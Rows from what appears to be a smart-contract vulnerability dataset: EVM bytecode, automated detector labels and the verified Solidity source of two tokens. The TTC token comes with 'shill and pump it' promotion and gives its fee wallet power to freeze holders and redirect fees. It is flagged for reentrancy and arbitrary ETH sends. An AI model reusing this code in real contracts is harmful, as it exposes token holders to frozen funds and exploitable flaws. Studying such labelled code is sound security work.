600082611d3f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5e57611d5e611d95565b500290565b600082821015611d7557611d75611d95565b500390565b6000600019821415611d8e57611d8e611d95565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ce57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122042064a47fac64d82777a9a6e0c3afd92a314edf187ef778f22287cb31d106e0d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,210
0xb32df1f186b142735dc428ba83ece44097cdcdd0
// SPDX-License-Identifier: MIT /* --------------- Trust The Community --------------- Social Experiment, As You Know, Community is all on a project, we don't need only Paid Call & Call to make Pump & Dump. Community will make the TG for TTC, I will found it for sure as I'm on all chat and Crypto Gems Founder. Shill the project, Spread The Words, and let's pump it. LP will be locked, on team.finance. Ownership will be renounced at launch too. Max buy : 2% Max Wallet : 4% Trust the process, trust the community and let's shill it everywhere and make money together. We will act as simply holders. This Is A Community Driver Project, Make A TG, Make A Twitter, be ready to take-off. Let's shill this organically and moon this. */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TrustTheCommunity is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"TrustTheCommunity"; //// string public constant symbol = unicode"TTC"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable private _FeeAddress1; address payable private _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 3; uint public _sellFee = 3; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "ERC20: transfer from frozen wallet."); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (15 minutes)) { fee += 5; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 20000000000 * 10**9; // 2% _maxHeldTokens = 40000000000 * 10**9; // 4% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); require(buy <= 10); require(sell <= 10); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function setBots(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101f25760003560e01c8063509016171161010d578063a9059cbb116100a0578063c9567bf91161006f578063c9567bf9146105a6578063db92dbb6146105bb578063dcb0e0ad146105d0578063dd62ed3e146105f0578063e8078d941461063657600080fd5b8063a9059cbb1461053b578063b2131f7d1461055b578063b515566a14610571578063c3c8cd801461059157600080fd5b8063715018a6116100dc578063715018a6146104b95780638da5cb5b146104ce57806394b8d8f2146104ec57806395d89b411461050c57600080fd5b8063509016171461044e578063590f897e1461046e5780636fc3eaec1461048457806370a082311461049957600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a757806340b9a54b146103e057806345596e2e146103f657806349bd5a5e1461041657600080fd5b806327f3a72a14610335578063313ce5671461034a57806331c2d8471461037157806332d873d81461039157600080fd5b80630b78f9c0116101c15780630b78f9c0146102c357806318160ddd146102e35780631940d020146102ff57806323b872dd1461031557600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f614610271578063095ea7b31461029357600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b50610264604051806040016040528060118152602001705472757374546865436f6d6d756e69747960781b81525081565b60405161021e9190611bd0565b34801561027d57600080fd5b5061029161028c366004611c4a565b61064b565b005b34801561029f57600080fd5b506102b36102ae366004611c67565b6106c0565b604051901515815260200161021e565b3480156102cf57600080fd5b506102916102de366004611c93565b6106d6565b3480156102ef57600080fd5b50683635c9adc5dea00000610214565b34801561030b57600080fd5b50610214600f5481565b34801561032157600080fd5b506102b3610330366004611cb5565b610759565b34801561034157600080fd5b50610214610841565b34801561035657600080fd5b5061035f600981565b60405160ff909116815260200161021e565b34801561037d57600080fd5b5061029161038c366004611d0c565b610851565b34801561039d57600080fd5b5061021460105481565b3480156103b357600080fd5b506102b36103c2366004611c4a565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103ec57600080fd5b50610214600b5481565b34801561040257600080fd5b50610291610411366004611dd1565b6108dd565b34801561042257600080fd5b50600a54610436906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045a57600080fd5b50610291610469366004611c4a565b6109a1565b34801561047a57600080fd5b50610214600c5481565b34801561049057600080fd5b50610291610a0f565b3480156104a557600080fd5b506102146104b4366004611c4a565b610a3c565b3480156104c557600080fd5b50610291610a57565b3480156104da57600080fd5b506000546001600160a01b0316610436565b3480156104f857600080fd5b506011546102b39062010000900460ff1681565b34801561051857600080fd5b506102646040518060400160405280600381526020016254544360e81b81525081565b34801561054757600080fd5b506102b3610556366004611c67565b610acb565b34801561056757600080fd5b50610214600d5481565b34801561057d57600080fd5b5061029161058c366004611d0c565b610ad8565b34801561059d57600080fd5b50610291610be7565b3480156105b257600080fd5b50610291610c1d565b3480156105c757600080fd5b50610214610cc1565b3480156105dc57600080fd5b506102916105eb366004611df8565b610cd9565b3480156105fc57600080fd5b5061021461060b366004611e15565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064257600080fd5b50610291610d56565b6008546001600160a01b0316336001600160a01b03161461066b57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106cd33848461109d565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106f657600080fd5b600a82111561070457600080fd5b600a81111561071257600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561078757506001600160a01b03831660009081526004602052604090205460ff16155b80156107a05750600a546001600160a01b038581169116145b156107ef576001600160a01b03831632146107ef5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107fa8484846111c1565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610829908490611e64565b905061083685338361109d565b506001949350505050565b600061084c30610a3c565b905090565b6008546001600160a01b0316336001600160a01b03161461087157600080fd5b60005b81518110156108d95760006006600084848151811061089557610895611e7b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108d181611e91565b915050610874565b5050565b6000546001600160a01b031633146109075760405162461bcd60e51b81526004016107e690611eaa565b6008546001600160a01b0316336001600160a01b03161461092757600080fd5b6000811161096c5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107e6565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106b5565b6009546001600160a01b0316336001600160a01b0316146109c157600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106b5565b6008546001600160a01b0316336001600160a01b031614610a2f57600080fd5b47610a398161182f565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a815760405162461bcd60e51b81526004016107e690611eaa565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006106cd3384846111c1565b6008546001600160a01b0316336001600160a01b031614610af857600080fd5b60005b81518110156108d957600a5482516001600160a01b0390911690839083908110610b2757610b27611e7b565b60200260200101516001600160a01b031614158015610b78575060075482516001600160a01b0390911690839083908110610b6457610b64611e7b565b60200260200101516001600160a01b031614155b15610bd557600160066000848481518110610b9557610b95611e7b565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bdf81611e91565b915050610afb565b6008546001600160a01b0316336001600160a01b031614610c0757600080fd5b6000610c1230610a3c565b9050610a39816118b4565b6000546001600160a01b03163314610c475760405162461bcd60e51b81526004016107e690611eaa565b60115460ff1615610c945760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e6565b6011805460ff19166001179055426010556801158e460913d00000600e5568022b1c8c1227a00000600f55565b600a5460009061084c906001600160a01b0316610a3c565b6000546001600160a01b03163314610d035760405162461bcd60e51b81526004016107e690611eaa565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106b5565b6000546001600160a01b03163314610d805760405162461bcd60e51b81526004016107e690611eaa565b60115460ff1615610dcd5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e6565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e0a3082683635c9adc5dea0000061109d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6c9190611edf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd9190611edf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4e9190611edf565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f7e81610a3c565b600080610f936000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ffb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110209190611efc565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611079573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d99190611f2a565b6001600160a01b0383166110ff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e6565b6001600160a01b0382166111605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e6565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e6565b6001600160a01b0382166112875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e6565b600081116112e95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e6565b6001600160a01b03831660009081526006602052604090205460ff161561135e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107e6565b600080546001600160a01b0385811691161480159061138b57506000546001600160a01b03848116911614155b156117d057600a546001600160a01b0385811691161480156113bb57506007546001600160a01b03848116911614155b80156113e057506001600160a01b03831660009081526004602052604090205460ff16155b1561166c5760115460ff166114375760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107e6565b60105442036114765760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107e6565b42601054610e106114879190611f47565b111561150157600f5461149984610a3c565b6114a39084611f47565b11156115015760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107e6565b6001600160a01b03831660009081526005602052604090206001015460ff16611569576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115799190611f47565b111561164d57600e548211156115d15760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107e6565b6115dc42600f611f47565b6001600160a01b0384166000908152600560205260409020541061164d5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107e6565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611686575060115460ff165b80156116a05750600a546001600160a01b03858116911614155b156117d0576116b042600f611f47565b6001600160a01b038516600090815260056020526040902054106117225760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107e6565b600061172d30610a3c565b905080156117b95760115462010000900460ff16156117b057600d54600a5460649190611762906001600160a01b0316610a3c565b61176c9190611f5f565b6117769190611f7e565b8111156117b057600d54600a5460649190611799906001600160a01b0316610a3c565b6117a39190611f5f565b6117ad9190611f7e565b90505b6117b9816118b4565b4780156117c9576117c94761182f565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061181257506001600160a01b03841660009081526004602052604090205460ff165b1561181b575060005b6118288585858486611a28565b5050505050565b6008546001600160a01b03166108fc611849600284611f7e565b6040518115909202916000818181858888f19350505050158015611871573d6000803e3d6000fd5b506009546001600160a01b03166108fc61188c600284611f7e565b6040518115909202916000818181858888f193505050501580156108d9573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118f8576118f8611e7b565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611951573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119759190611edf565b8160018151811061198857611988611e7b565b6001600160a01b0392831660209182029290920101526007546119ae913091168461109d565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119e7908590600090869030904290600401611fa0565b600060405180830381600087803b158015611a0157600080fd5b505af1158015611a15573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a348383611a4a565b9050611a4286868684611a91565b505050505050565b6000808315611a8a578215611a625750600b54611a8a565b50600c54601054611a7590610384611f47565b421015611a8a57611a87600582611f47565b90505b9392505050565b600080611a9e8484611b6e565b6001600160a01b0388166000908152600260205260409020549193509150611ac7908590611e64565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611af7908390611f47565b6001600160a01b038616600090815260026020526040902055611b1981611ba2565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5e91815260200190565b60405180910390a3505050505050565b600080806064611b7e8587611f5f565b611b889190611f7e565b90506000611b968287611e64565b96919550909350505050565b30600090815260026020526040902054611bbd908290611f47565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bfd57858101830151858201604001528201611be1565b81811115611c0f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3957600080fd5b8035611c4581611c25565b919050565b600060208284031215611c5c57600080fd5b8135611a8a81611c25565b60008060408385031215611c7a57600080fd5b8235611c8581611c25565b946020939093013593505050565b60008060408385031215611ca657600080fd5b50508035926020909101359150565b600080600060608486031215611cca57600080fd5b8335611cd581611c25565b92506020840135611ce581611c25565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1f57600080fd5b823567ffffffffffffffff80821115611d3757600080fd5b818501915085601f830112611d4b57600080fd5b813581811115611d5d57611d5d611cf6565b8060051b604051601f19603f83011681018181108582111715611d8257611d82611cf6565b604052918252848201925083810185019188831115611da057600080fd5b938501935b82851015611dc557611db685611c3a565b84529385019392850192611da5565b98975050505050505050565b600060208284031215611de357600080fd5b5035919050565b8015158114610a3957600080fd5b600060208284031215611e0a57600080fd5b8135611a8a81611dea565b60008060408385031215611e2857600080fd5b8235611e3381611c25565b91506020830135611e4381611c25565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e7657611e76611e4e565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611ea357611ea3611e4e565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ef157600080fd5b8151611a8a81611c25565b600080600060608486031215611f1157600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f3c57600080fd5b8151611a8a81611dea565b60008219821115611f5a57611f5a611e4e565b500190565b6000816000190483118215151615611f7957611f79611e4e565b500290565b600082611f9b57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ff05784516001600160a01b031683529383019391830191600101611fcb565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122093094835711df4f08fc504ee0304b4fcd69eaccc78f0bcd6c126d133aa3c9ee864736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,211
0x0E5b70D1eAffa58B8F88fddC62EA1C562dC8E214
/** *Submitted for verification at Etherscan.io on 2022-02-10 */ pragma solidity 0.5.16; interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Context { constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`) */ function _transferOwnership(address newOwner) internal { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract FP3D is Context, IBEP20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _symbol; string private _name; constructor(address supplyTo) public { _name = "FlatPyramid"; _symbol = "FP3D"; _decimals = 18; _mint(supplyTo, 400000000000000000000000000); } /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev See {BEP20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev See {BEP20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {BEP20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {BEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "BEP20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "BEP20: decreased allowance below 